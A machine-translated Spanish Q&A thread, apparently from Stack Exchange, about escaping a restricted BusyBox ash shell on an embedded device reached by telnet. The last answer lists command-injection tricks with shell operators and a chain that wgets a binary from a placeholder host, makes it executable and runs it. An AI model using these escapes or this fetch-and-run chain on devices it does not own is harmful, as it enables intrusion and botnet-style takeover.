Shell de BusyBox limitado

Estoy probando algún dispositivo integrado y no hay documentación. Cuando hago telnet al dispositivo, obtengo solo un shell limitado.

BusyBox v1.19.2 (built-in shell (ash) Enter "help" for a list of built-in commands. # help Built-in commands: ------------------ . : [ [[ bg break cd chdir continue echo eval exec exit export false fg getopts hash help jobs kill local printf pwd read readonly return set shift source test times trap true type ulimit umask unset wait 

Este es un shell limitado, no está claro, ¿cómo acceder al shell completo?

Respuesta

  • El comando que necesita es chsh (cambiar shell) – esto es parte del shadow o shadow-utils paquete.
  • También puede editar manualmente /etc/password para cambiar el shell de /bin/ash a otra cosa:

    BUT => tenga mucho cuidado de que exista el nuevo shell o se bloqueará


Deberás ser root para hacer cualquiera de las opciones anteriores.

Responder

BusyBox se centra principalmente en la optimización de tamaño y los comandos pueden ser exc luded / incluido durante el tiempo de compilación. Así que, sin proporcionar información adicional, parece ser un conjunto muy limitado de componentes instalados .

Sin embargo, debe quedar claro que esto no significa que el firmware del dispositivo no admita utilidades específicas per se. Si esto no está del todo claro, debería echar un vistazo a la sección Preguntas frecuentes: ¿Qué es Busybox . Algunas citas deberían dejar esto completamente claro:

«¿Puedo habilitar FTP?» – «No sabemos si el firmware Foomatic-9000 viene con el binario Busybox con el subprograma ftpd habilitado. (Si tiene acceso al indicador de shell, intente ejecutar «busybox ftpd –help»). Si es así, probablemente podrá habilitarlo. Desafortunadamente, no sabemos cómo el firmware Foomatic-9000 gestiona el inicio y la detención de varios servicios (en caso de que ya tengan un servicio ftpd y simplemente esté deshabilitado), o cómo crear y habilitar un nuevo servicio en Foomatic-9000 (si no). Intente buscarlo en Google. «

» ¿Puedo habilitar SCP? » – «Busybox-1.23.4 no tiene subprograma scp. Sin embargo, Foomatic-9000 puede tener instalado scp (digamos, si tienen instalado dropbear), y puede ser posible habilitarlo. Si no es así, puede ser posible compilar e instala tu propia herramienta scp. Prueba a buscarla en Google. «

Probablemente deberías centrarte más en el dispositivo específico y el firmware instalado, que en el limitado conjunto de componentes vinculados al Busybox mismo.

Comentarios

  • ok, olvidé el comando cli.

Answer

Desafortunadamente para ti, hoy en día la mayoría de los dispositivos integrados (es decir, enrutadores, dispositivos iot, etc.) intentan evitar que los usuarios accedan al sistema interno para que puedan «T hackearlo o modificarlo. Esta es una medida para prevenir el trabajo de botnets como mirai, aunque las protecciones no siempre son muy efectivas.

Un shell de busybox limitado es un escenario muy común. Afortunadamente, hablando en general, busybox requiere un shell subyacente si hay » s cualquier tipo de interfaz de usuario (como telnet o ssh). Esto significa que puede ser posible omitir ese shell y ejecutar comandos en el shell subyacente (es decir, / bin / sh es muy común).

Antes de intentar escapar del entorno limitado de busybox, debe tener en cuenta el siguiente:

  • El fabricante puede haber modificado el shell de busybox para parchear estas técnicas
  • El shell subyacente puede ser un shell sin privilegios (total o parcial). Esto significa que incluso si logra ejecutar comandos en él, es posible que no funcionen o le digan que no tiene suficientes derechos.
  • El shell subyacente también puede ser otro shell limitado (no común)

Una vez que esté listo, puede probar los siguientes «trucos»: (Todos dependen de los operadores de shell)

Pruebe cosas como

echo "Hello World" & <your command> 

Esto ejecutará su comando si:

  1. El binario está disponible (básicamente si está instalado en el sistema)
  2. El shell tiene acceso a él (privilegios)

Hay otros métodos como:

echo "Hello World" `your command` echo "Hello World" || <your command> 

Y otras variaciones que puede encontrar en Internet o probarlo usted mismo.

EDITAR: Estoy editando para agregar un ejemplo de cómo podría escapar del shell y obtener una mayor ejecución.

echo "Hello World" & wget yourweb.com/yourbinary echo "Hello World" & chmod yourbinary echo "Hello World" & ./yourbinary 

o directamente ./yourbinary

Esa es la idea. En cuanto al chmod, lo siento, pero no recuerdo los argumentos exactos para otorgar permisos de ejecución.

EDIT2: He notado que su shell dice ash, así que probablemente busybox se ha ejecutado desde un script (automatizado) en ejecución de ceniza. En este caso, le gustaría ejecutar comandos directamente en el shell / bin / ash.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *